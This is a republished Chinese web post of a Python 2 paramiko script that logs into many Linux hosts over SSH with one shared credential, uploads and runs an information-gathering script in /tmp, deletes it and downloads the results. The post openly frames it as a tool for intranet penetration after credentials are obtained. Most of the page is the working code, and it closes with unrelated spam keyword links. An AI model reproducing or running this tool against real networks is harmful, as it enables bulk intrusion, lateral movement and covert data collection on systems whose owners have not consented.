ssh批量登录 上传 执行命令 下载文件
发表于:2025-02-07 作者:千家信息网编辑
千家信息网最后更新 2025年02月07日,用途:搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。缺点:不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改执
千家信息网最后更新 2025年02月07日ssh批量登录 上传 执行命令 下载文件
用途:
搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。
缺点:
不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改
执行过程:
执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的 两个文件都需要改动)
# -*- coding: utf_8 -*-# Date: 2015/5/15# author:sanrimport paramiko,time,sys,osdef README(): print '+' + '-' * 50 + '+' print u'\t Python ssh批量登录脚本' print u'\t ip请写入iplist.txt ' print u'\t Time:2015-5-15' print u'\t author : sanr' print '+' + '-' * 50 + '+' if len(sys.argv) != 3: print u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass" print u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root" sys.exit()def upload(host,user,pswd): try: ssh = paramiko.Transport((host,22)) ssh.connect(username = user, password = pswd) sftp = paramiko.SFTPClient.from_transport(ssh) sftp.put("./1.py","/tmp/1.py") print '[+]'+host,u'ssh已登陆', # 调用执行命令函数 ssh3(host,user,pswd) # 调用创建目录函数 mkdir(host) # 下载远程主机文件 sftp.get("/tmp/test.txt", "./"+host+"/result.txt") print u'信息收集结果已成功下载' ssh.close() except: passdef ssh3(host,user,pswd): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host,22,user,pswd, timeout=5) #stdin, stdout, stderr = ssh.exec_command('ifconfig;free') #print stdout.read() #执行命令 修改上传1.py的代码权限为777 执行1.py脚本 删除1.py脚本 stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py') ssh.close() except: passdef mkdir(path): # 引入模块 import os # 判断路径是否存在 # 存在 True # 不存在 False isExists=os.path.exists(path) # 判断结果 if not isExists: # 创建目录操作函数 os.makedirs(path) # 如果不存在则创建目录 print u' 创建目录成功', return True else: # 如果目录存在则不创建,并提示目录已存在 print u'本地目录已存在', return Falseif __name__=='__main__': README() start_time = time.time() with open('./iplist.txt', 'r') as f: for ip in f: host=ip.strip() user=sys.argv[1] pswd=sys.argv[2] upload(host,user,pswd) print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)
文件
目录
脚本
登录
信息
函数
结果
命令
成功
主机
密码
编码
生成
两个
代码
名字
大爷
实例
报告
文件名
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
图像质量数据库下载
品质网络技术咨询简介
首都师范大学数据库应用与技术
云顶提示无法连接服务器
net三层架构连接数据库
国际为网络安全努力
女生读职校适合软件开发妈
汽车网络技术发展的背景是
软件开发需要哪些云产品
aa网络安全是什么意思
局域网服务器共享文件怎么打开
如何做才能将网络安全做好
数据库技术的主要特性
重庆靠谱教育系统开发软件开发
网络安全大赛的主题曲
专题数据库的储存方式
云服务器上下架宝贝
平台棋牌软件开发
学生应该注意的网络安全
小京东一键清除数据库
一台服务器搭建多个虚拟服务
战略支援部的计算机网络技术好吗
连接服务器的网络命令
超级课程表的服务器这么容易炸吗
敏捷模型用什么软件开发
网络安全先进集体申报表
网络安全警示教育片部队新闻
自建大学数据库
网络安全学情分析调查问卷
网络技术缺点